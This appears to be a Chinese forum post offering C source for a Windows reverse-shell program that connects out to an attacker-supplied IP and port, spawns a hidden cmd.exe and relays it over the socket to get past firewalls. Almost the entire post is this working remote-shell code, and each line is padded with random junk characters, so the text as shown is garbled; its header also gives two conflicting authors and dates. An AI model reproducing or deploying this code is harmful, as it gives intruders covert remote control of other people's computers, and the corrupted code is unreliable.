这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jm5&6=
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/* ============================== KkF3E*q\H
Rebound port in Windows NT ^-|yF2>`
By wind,2006/7 eKT'd#o2R
===============================*/ -j<g}IG
#include }p <p(
#include +I9+L6>UR
i,h)
#pragma comment(lib,"wsock32.lib") eLd7|*|
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void OutputShell(); R DAihq
SOCKET sClient; {TWgR2?{C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R=/6bR57
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void main(int argc,char **argv) 1,/L&_=_A
{ m$U rY(6d
WSADATA stWsaData; {Y p;R
int nRet; .AzGPcJY
SOCKADDR_IN stSaiClient,stSaiServer; $:aKb#l)
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if(argc != 3) vA(')"DDT
{ R'.YE;leBG
printf("Useage:\n\rRebound DestIP DestPort\n"); ] SErM#$*
return; =)p/p6
} _&~y{;)S
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WSAStartup(MAKEWORD(2,2),&stWsaData); u{/!BCKE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bO:m^*
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stSaiClient.sin_family = AF_INET; HVz,liq
stSaiClient.sin_port = htons(0); bN',-[E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .).*6{_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~5f|L(ODX
{ 5X'com?T
printf("Bind Socket Failed!\n"); [8sL);pJO
return; X` QfOs#\
} B 3Yj
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stSaiServer.sin_family = AF_INET; )%}?p2.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q%AD6G(7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gkN|3^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aKly1G
{ #CM^f^*
printf("Connect Error!"); j+p=ik
return; }g? 9/)z
} w Jb\Q
OutputShell(); 05+uBwH
} SAa
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void OutputShell() >H,t^i}@
{ ~TGk`cAM>
char szBuff[1024]; 6
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SECURITY_ATTRIBUTES stSecurityAttributes; n,Z B-"dW
OSVERSIONINFO stOsversionInfo; <AzM~]"3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9bpY>ze
STARTUPINFO stStartupInfo; 7;_./c_@
char *szShell; ON$^_l/c
PROCESS_INFORMATION stProcessInformation; &f\ng{
unsigned long lBytesRead; L%7?o:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b~Qd9Nf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u.}z}'-
stSecurityAttributes.lpSecurityDescriptor = 0; ^PCshb##
stSecurityAttributes.bInheritHandle = TRUE; )eFq0+6*)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9tnW:Nw~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D;VFMP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'WUevPmt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7@.UkBOx
stStartupInfo.wShowWindow = SW_HIDE; O1nfz> L`
stStartupInfo.hStdInput = hReadPipe; {$<X\\&r
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >,8DwNuq
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GetVersionEx(&stOsversionInfo); 4Qr16,Us
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switch(stOsversionInfo.dwPlatformId) 7[l
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{ Dl3Df u8
case 1: ~6nq$( #
szShell = "command.com"; kpkN GQ2
break; [hf#$Dl|
default: F:8cd^d~u
szShell = "cmd.exe"; &}1PH%6
break; Xm7Nr#
} HDyus5g
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O; qerE?i`
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send(sClient,szMsg,77,0); !9l
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while(1) Os?`!1-
{ 3B(6^iS
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \advFKN
if(lBytesRead) +fd^$Qd%K
{ t`
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /{.
send(sClient,szBuff,lBytesRead,0); bP`.teO\
} 6'e}!O
else "%aJ'l2
{ yIwAJl7Xf
lBytesRead=recv(sClient,szBuff,1024,0); 7P`|wNq
if(lBytesRead<=0) break; K h}Oiw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b7It8
} ,y[wS5li
} +8FlDiP
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return; Qa nE]
}